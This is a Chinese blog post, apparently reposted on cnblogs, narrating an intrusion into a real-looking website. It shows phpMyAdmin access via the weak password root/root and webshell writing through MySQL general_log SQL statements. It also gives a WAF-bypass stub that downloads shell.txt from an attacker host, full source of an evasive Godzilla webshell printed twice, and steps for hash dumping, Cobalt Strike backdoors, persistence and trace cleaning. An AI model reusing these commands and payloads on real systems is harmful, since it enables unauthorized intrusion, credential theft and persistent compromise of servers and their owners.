• 简单绕过waf拿下*网站


    确定目标

    收集信息

    x.x.x.x

    首先常规测试方法一顿怼,目录扫描,端口扫描,js文件,中间件,指纹识别,反正该上的都上。。。。
    随手加个路径,报错了,当看到这个界面我瞬间就有思路了

    为什么这么说呢,因为之前我就碰见过这样的网站报错, 这是一个php集成环境,叫upupw,跟phpstudy是一样的

    upupw --> pmd 
    phpstudy --> phpmyadmin

    突破点

    这个集成环境包也有个phpinfo的页面,跟数据库管理界面

    u.php

    测试一下弱口令

    root/root

    连接成功后就可以看到phpinfo的页面

    好了现在问题变成phpmyadmin拿shell

    getshell

    三步拿shell

    set global general_log='on';
    SET global general_log_file='D:/xxxx/WWW/cmd.php';
    SELECT '<?php assert($_POST["cmd"]);?>';

    当执行第三步的时候页面 卡在执行中。。。没有反应 瞬间感觉不对,可能存在waf
    换了个免杀马试试,先写到txt里边看看成否成功

    没有任何问题,下面直接写入php文件

    可以写入,直接去连接shell

    果然有waf,当时写入的时候就感觉到了,不免杀的shell,sql语句执行不了

    绕过waf

    怼了半天都不知道是什么鬼waf,用下载文件试试
    为了避免拦截php代码的waf,我这里远程下载的脚本是利用JavaScript转写php

    SET global general_log_file='C:/Users/Administrator/Desktop/UPUPW_AP5.5_64/htdocs/11.php';
    SELECT '<script language="php"> $a="http://x.x.x.x:81/shell.txt";$b="file"."_g"."et_"."contents";$b = $b($a);file_put_contents("shell.php",$b); </script>'

    访问11.php 就会生成shell.php
    这里的shell也是用了哥斯拉的免杀shell

    <?php
        session_start();
        @set_time_limit(0);
        @error_reporting(0);
        function E($D,$K){
            for($i=0;$i<strlen($D);$i++) {
                $D[$i] = $D[$i]^$K[$i+1&15];
            }
            return $D;
        }
        function Q($D){
            return base64_encode($D);
        }
        function O($D){
            return base64_decode($D);
        }
        $P='pass';
        $V='payload';
        $T='3c6e0b8a9c15224a';
        if (isset($_POST[$P])){
            $F=O(E(O($_POST[$P]),$T));
            if (isset($_SESSION[$V])){
                $L=$_SESSION[$V];
                $A=explode('|',$L);
                class C{public function nvoke($p) {eval($p."");}}
                $R=new C();
                $R->nvoke($A[0]);
                echo substr(md5($P.$T),0,16);
                echo Q(E(@run($F),$T));
                echo substr(md5($P.$T),16);
            }else{
                $_SESSION[$V]=$F;
            }
        }

    尝试了这么多次

    进程里没有waf进程

    权限是system

    脱源码

    上传抓密码工具,直接获取管理密码,登上服务器

    留后门,清理痕迹

    多留几个后门,万一被删

    这个网段还有这么多机器

    源码

    打开源码才发现waf是360webscan


    总结:
    1.信息收集,目录扫描,端口扫描,JS文件敏感文件扫描,中间件扫描,指纹识别无任何可利用信息
    2.通过在网址后加入错误路径,报错信息“为找到,法海不懂爱,页面显示不出来”,该系统是php集成环境upupw
    3.该环境有个叫phpinfo的文件为u.php,输入弱口令root/root,可直接进入phpmyadmin,同时可查看phpinfo的信息,暴露出网站的绝对路径为D:/xxxx/WWW/UPUPW_AP5.5_64/htdocs/
    4.phpmyadmin通过写入日志获取shell
    set global general_log='on';
    SET global general_log_file='D:/xxxx/WWW/UPUPW_AP5.5_64/htdocs/cmd.php';
    SELECT '<?php assert($_POST["cmd"]);?>';
    5.可直接写入一句话,但是连接shell,被WAF拦截
    6.通过远程下载的脚本是利用JavaScript转写php绕过WAF(360webscan)
    SET global general_log_file='D:/xxxx/WWW/UPUPW_AP5.5_64/htdocs/11.php';
    SELECT '<script language="php"> $a="http://x.x.x.x:81/shell.txt";$b="file"."_g"."et_"."contents";$b = $b($a);file_put_contents("shell.php",$b); </script>'
    7.访问11.php 就会生成shell.php
    shell.txt:
    <?php
        session_start();
        @set_time_limit(0);
        @error_reporting(0);
        function E($D,$K){
            for($i=0;$i<strlen($D);$i++) {
                $D[$i] = $D[$i]^$K[$i+1&15];
            }
            return $D;
        }
        function Q($D){
            return base64_encode($D);
        }
        function O($D){
            return base64_decode($D);
        }
        $P='pass';
        $V='payload';
        $T='3c6e0b8a9c15224a';
        if (isset($_POST[$P])){
            $F=O(E(O($_POST[$P]),$T));
            if (isset($_SESSION[$V])){
                $L=$_SESSION[$V];
                $A=explode('|',$L);
                class C{public function nvoke($p) {eval($p."");}}
                $R=new C();
                $R->nvoke($A[0]);
                echo substr(md5($P.$T),0,16);
                echo Q(E(@run($F),$T));
                echo substr(md5($P.$T),16);
            }else{
                $_SESSION[$V]=$F;
            }
        }
    8.通过格拉斯连接shell,然后查看进程tasklist,并无杀毒软件,查看权限whoami,是system权限
    9.上传 hash抓取本地密码,可抓取windows本地用户名和密码
    10.上传cs的生成的后门文件,并执行。
    11.下载源码,发现WAF使用的360webscan


  • 相关阅读:
    JAVA爬虫实践(实践三:爬虫框架webMagic和csdnBlog爬虫)
    JAVA爬虫实践(实践一:知乎)
    JAVA爬虫实践(实践二:博客园)
    SpringMVC框架学习笔记(5)——数据处理
    SpringMVC框架学习笔记——各种异常、报错解决
    SpringMVC框架学习笔记(1)——HelloWorld
    angularjs springMVC 交互
    存储过程存放数据方式
    存储过程总结
    cssie7.0兼容
  • 原文地址:https://www.cnblogs.com/backlion/p/15735906.html
Copyright © 2020-2023  润新知